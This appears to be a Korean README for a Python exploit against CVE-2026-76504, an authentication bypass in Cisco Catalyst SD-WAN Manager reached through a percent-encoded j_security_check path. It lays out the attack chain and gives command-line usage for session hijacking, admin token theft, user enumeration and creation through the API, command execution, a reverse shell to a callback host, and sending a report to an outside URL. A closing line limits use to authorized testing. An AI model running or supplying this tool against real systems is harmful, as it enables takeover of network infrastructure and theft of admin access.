CVE-2026-76504에 대한 Python 익스플로잇으로, 퍼센트 인코딩된 j_security_check를 통한 Cisco Catalyst SD-WAN Manager 인증 우회이며, 토큰 탈취, API 호출, 리버스 셸을 포함합니다.
CVE-2026-76504는 **Cisco Catalyst SD-WAN Manager(vManage)**의 치명적인 인증 우회 취약점(CVSS 9.8,
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177)입니다. 이 취약점은 CISA KEV 목록에 등재되어 있으며
2026년 9월부터 실제 환경에서 활발히 악용되고 있습니다. 우회 방법은 없으며,
패치만이 취약점을 제거할 수 있습니다.
근본 원인은 인증 미들웨어와 요청 라우터 간의 일관성 없는 URI 정규화입니다.
보호된 j_security_check 로그인 경로의 단일 문자를 퍼센트 인코딩하면 인증 규칙은
다른(정상) URI를 보는 반면 라우터는 동일한(로그인) URI를 해석합니다.
따라서 서버는 유효한 자격 증명 없이도 유효한 관리자 세션을 발급합니다.
보안 권고: cisco-sa-sdwan-webauth-xr8beuuU
| 브랜치 | 패치 버전 |
|---|---|
| 20.9.x | 20.9.10.1 |
| 20.12.x | 20.12.8.2 |
| 20.15.x | 20.15.6.1 |
| 20.18.x | 20.18.4.1 |
| 26.1.x | 26.1.2.1 |
| 26.2 | 26.2.1 |
step1 POST /%6a_security_check (%6a = percent-encoded 'j')
-> the auth rule is skipped, the request is mapped to a
'viptela-reserved-*' service account and a valid JSESSIONID
is returned.
step2 GET /dataservice/client/token (with the JSESSIONID cookie)
-> 128-char uppercase hex admin API token.
step3 authenticated admin API calls / command execution / reverse shell.
Follow-up requests send the session cookie plus the token in the
X-XSRF-TOKEN header (documented vManage API convention).
# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check
# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon
# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json
# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--cmd 'show version'
# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
--revshell --rs-host 10.0.0.2 --rs-port 4444 --listen
# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest
| 옵션 | 설명 |
|---|---|
-t, --target | 호스트 또는 scheme://host[:port] (기본 포트 443) |
--port | 포트 재정의 |
--http | 일반 HTTP 강제 |
--insecure | TLS 인증서 검증 건너뛰기 |
--proxy | 포워드 프록시 http://host:port |
--timeout | 요청당 타임아웃(초) (기본 10) |
-u, --user | 폼 j_username 값 (기본 admin; 인증은 우회됨) |
-p, --pass | 폼 j_password 값 (기본 admin; 인증은 우회됨) |
--enc-char | 퍼센트 인코딩할 j_security_check의 문자 (기본 j) |
--enc-style | lower (기본), upper, 또는 double 인코딩 |
--token-url | 관리자 토큰 엔드포인트 (기본 /dataservice/client/token) |
--skip-token | step1 이후 중지 (세션만) |
--check | 검증만: step1, 보고, 종료 |
--api SPEC | 인증된 호출: `'METHOD PATH [json |
--cmd CMD | 탈취한 세션에서의 관리 명령 (반복 가능) |
--cmd-url | 명령 엔드포인트 (기본 /dataservice/command) |
--cmd-field | 명령을 담는 JSON 페이로드 키 (기본 command) |
--revshell | 리버스 셸 명령 생성 및 실행 |
--rs-impl | bash (기본), nc, python3, perl |
--rs-host/--rs-port | 리버스 셸 콜백 호스트/포트 |
--listen | 로컬 리스너를 시작하고 셸을 대화형으로 중계 |
--recon | 탈취한 세션으로 후보 엔드포인트 탐색 |
--callback URL | JSON 보고서를 URL로 POST |
--dump DIR | 응답 아티팩트를 디렉터리에 저장 |
--repeat N | 체인을 N회 반복 |
--reqid | X-Request-Id: <uuid4> 전송 (IOC 충실도) |
--ua | User-Agent (기본 Mozilla/5.0) |
-v, --verbose | 원시 요청/응답 덤프 |
--json | 기계 판독 가능한 보고서만 |
--selftest | 내장 모의를 통한 오프라인 자체 테스트 |
| 코드 | 의미 |
|---|---|
| 0 | 우회 확인됨 |
| 1 | 실패 / 검증 오류 |
| 2 | 대상에 연결할 수 없음 |
# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check
# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check
# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check
# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/user {"userName":"x","password":"y"}'
# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/setting @payload.json'
# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
--dump ./out --callback http://10.0.0.2:8000/report --json
# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
--proxy http://127.0.0.1:8080 --insecure --check
기본 자격 증명(admin/admin)은 폼 필드 값으로만 사용됩니다. 인증 규칙 자체는 인코딩된 경로에 의해 우회되므로, 취약한 대상에서 자격 증명 값이 올바를 필요는 없습니다.
--check는 step1만 수행하고 세션 쿠키가 발급되었는지 보고합니다. 추가적인 인증 호출은 하지 않습니다.
이 도구는 승인된 보안 테스트 및 연구 전용을 위한 의존성 없는 단일 파일입니다. 테스트가 허용된 시스템에만 사용하십시오.